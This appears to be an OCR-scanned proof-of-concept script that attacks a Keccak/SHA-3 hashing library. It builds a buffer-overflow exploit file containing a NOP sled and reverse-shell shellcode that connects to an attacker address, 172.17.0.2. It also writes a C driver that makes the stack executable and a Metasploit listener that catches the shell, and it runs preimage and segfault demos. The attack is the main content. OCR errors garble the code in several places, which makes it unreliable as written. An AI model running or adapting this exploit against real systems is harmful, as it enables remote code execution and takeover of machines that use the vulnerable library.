0xd3, 0x73, 0x63, Oxbb5, 0x64, Oxaa, 0x84, 0x66,
0x69, 0x96, 0xOe, 0x0e, 0x52, 0x54, Oxbd, 0xb4d
}

keccakFinverse[0] "= 0x06;
keccakFinverse[143] "= 0x80;
memcpy (Msg, keccakFinverse, 200);

unsigned char digest[64];

void *ptr = calloc(leni+len2, 1);
if (ptr == NULL) {
perror("calloc");
exit(-1);
}

printf ("Hashing a message of %lu + J%lu bytes...\n"
"Hash: ", lenl, len2);
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Keccak_HashInstance *hash_state = ptr;

Keccak_HashInitialize_SHA3_224(hash_state);
Keccak_HashUpdate(hash_state, Msg, lenl * 8);
Keccak_HashUpdate(hash_state, Msg + lenl, len2 * 8);
Keccak_HashFinal (hash_state, digest);

for (int i=0; i<hashbitlen/8; i++) {
printf ("%02x",digest[i]);

}

printf("\n");

return 0;

}
EOF

<<MULTILINE-COMMENT

NOTE: To generate new payload for an attacker with IP address
172.17.0.2, use:

docker run --rm -ti metasploitframework/metasploit-framework \
/usr/src/metasploit-framework/msfconsole -q \

-x "use payload/linux/x64/meterpreter/reverse_tcp; \

set LHOST 172.17.0.2; generate -f c; exit"

MULTILINE-COMMENT

head -c 4294950912 /dev/zero > exploit.txt

perl -e "print \"\x90\"x4096" >> exploit.txt # NOP sled
/bin/echo -ne "\x48\x31\xff\x6a\x09\x58\x99\xb6" >> exploit.txt
/bin/echo -ne "\x10\x48\x89\xd6\x4d\x31\xc9\x6a" >> exploit.txt
/bin/echo -ne "\x22\x41\x5a\xb2\x07\x0f\x05\x48" >> exploit.txt
/bin/echo -ne "\x85\xc0\x78\x51\x6a\x0a\x41\x59" >> exploit.txt
/bin/echo -ne "\x50\x6a\x29\x58\x99\x6a\x02\x5f" >> exploit.txt
/bin/echo -ne "\x6a\x01\x5e\x0f\x05\x48\x85\xc0" >> exploit.txt
/bin/echo -ne "\x78\x3b\x48\x97\x48\xb9\x02\x00" >> exploit.txt
/bin/echo -ne "\x11\x5c\xac\x11\x00\x02\x51\x48" >> exploit.txt
/bin/echo -ne "\x89\xe6\x6a\x10\x5a\x6a\x2a\x58" >> exploit.txt
/bin/echo -ne "\x0f\x05\x59\x48\x85\xc0\x79\x25" >> exploit.txt
/bin/echo -ne "\x49\xff\xc9\x74\x18\x57\x6a\x23" >> exploit.txt
/bin/echo -ne "\x58\x6a\x00\x6a\x05\x48\x89\xe7" >> exploit.txt
/bin/echo -ne "\x48\x31\xf6\x0f\x05\x59\x59\x5f" >> exploit.txt
/bin/echo -ne "\x48\x85\xc0\x79\xc7\x6a\x3c\x58" >> exploit.txt
/bin/echo -ne "\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e" >> exploit.txt
/bin/echo -ne "\x5a\x0f\x05\x48\x85\xc0\x78\xed" >> exploit.txt
/bin/echo -ne "\xff\xe6" >> exploit.txt

head -c 8406 /dev/zero >> exploit.txt
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# NOTE: Use gdb to determine the correct location

# and value to be XORed with the return address:

/bin/echo -ne "\xb3\xe6\xaa\xaa\xaa\x2a\x00\x00" >> exploit.txt
head -c 3744 /dev/zero >> exploit.txt

cat <<EOF > exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/resource.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>

// minus one page (4 kB)
#define STACK_OFFSET ((1ul<<32)-4096)

#define KeccakOpt 64

/* 64bit platforms with unsigned int64 */
typedef uint64_t UINT64;
typedef unsigned char UINTS;

/* we are only interested in KeccakP1600 */
#define KeccakP200_excluded 1
#define KeccakP400_excluded 1
#tdefine KeccakP800_excluded 1

/* inline all Keccak dependencies */
#include "kcp/KeccakHash.h"

#include "kcp/KeccakSponge.h"
#include "kcp/KeccakHash.c"

#include "kcp/KeccakSponge.c"
#include "kcp/KeccakP-1600-opt64.c"

int £ {
// make stack executable
int ret;
void * volatile local_buf[1];
ret = mprotect((void #*) ((uintptr_t)local_buf & ~4095),
((uintptr_t)local_buf & 4095) + STACK_OFFSET,
PROT_READ | PROT_WRITE|PROT_EXEC) ;

if (ret) {
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perror ("mprotect") ;
exit(-1);
}

void * volatile a[STACK_OFFSET/8];

int hashbitlen = 224;

unsigned long lenl = 1; // in bytes
unsigned long len2 = 4294967295; // in bytes
int £fd;

if ((fd = open("exploit.txt", O_RDONLY)) == -1) {
perror("open") ;
exit(-1);

}

unsigned char *Msg =

mmap (NULL, lenl+len2, PROT_READ, MAP_PRIVATE, fd, 0);
if (Msg == MAP_FAILED) {

perror ("mmap") ;

exit(-1);
}

unsigned char digest[64];

printf ("Hashing a message of %lu + %lu bytes...\n"
"Hash: ", lenl, len2);

Keccak_HashInstance hash_state;

Keccak_HashInitialize_SHA3_224(&hash_state);
Keccak_HashUpdate (&hash_state, Msg, lenl * 8);
Keccak_HashUpdate (&hash_state, Msg + lenl, len2 * 8);
Keccak_HashFinal (&hash_state, digest);

for (int i=0; i<hashbitlen/8; i++) {
printf ("%02x",digest[i]);

}

printf ("\n");

// avoid dead code elimination
al0] = 0;

return 0;
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int main (int argc, char x*argv)
{
// increase stack size
const rlim_t stack_size = 8192%x1024 + STACK_OFFSET;
struct rlimit rlim;
int ret;

ret = getrlimit(RLIMIT_STACK, &rlim);
if (ret) {

perror("getrlimit");

exit(-1);
}

rlim.rlim_cur = stack_size;

ret = setrlimit(RLIMIT_STACK, &rlim);
if (ret) {

perror("setrlimit");

exit(-1);
}

£O;

return 0;

}
EOF

cat <<EOF > listen.sh
#!/bin/sh

docker run --rm -ti -v $(pwd) :/home/msf \
metasploitframework/metasploit-framework \
/usr/src/metasploit-framework/msfconsole -q \

-x "cd /home/msf; use multi/handler; set LHOST 172.17.0.2; \
set payload linux/x64/meterpreter/reverse_tcp; exploit"

EQF

gcc -03 second-preimage.c -o second-preimage
gcc -03 preimage-zero.c -o preimage-zero

gcc -03 preimage-any.c -o preimage-any

gcc -03 exploit.c -o exploit

echo

echo "Python segmentation fault"
echo "--————————----——mmm
python3 segfault.py
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echo
echo "PHP segmentation fault"
echo M e n
php -f segfault.php
echo
echo "Second preimage"
echo N n
./second-preimage
echo
echo "Preimage of zero"
echo n_ n
./preimage-zero
echo
echo "Preimage of attacker-chosen value"
echo L R, n
./preimage-any
echo
echo "Buffer overflow exploit"
echo LR, n

setarch -R -L ./exploit &
sh listen.sh
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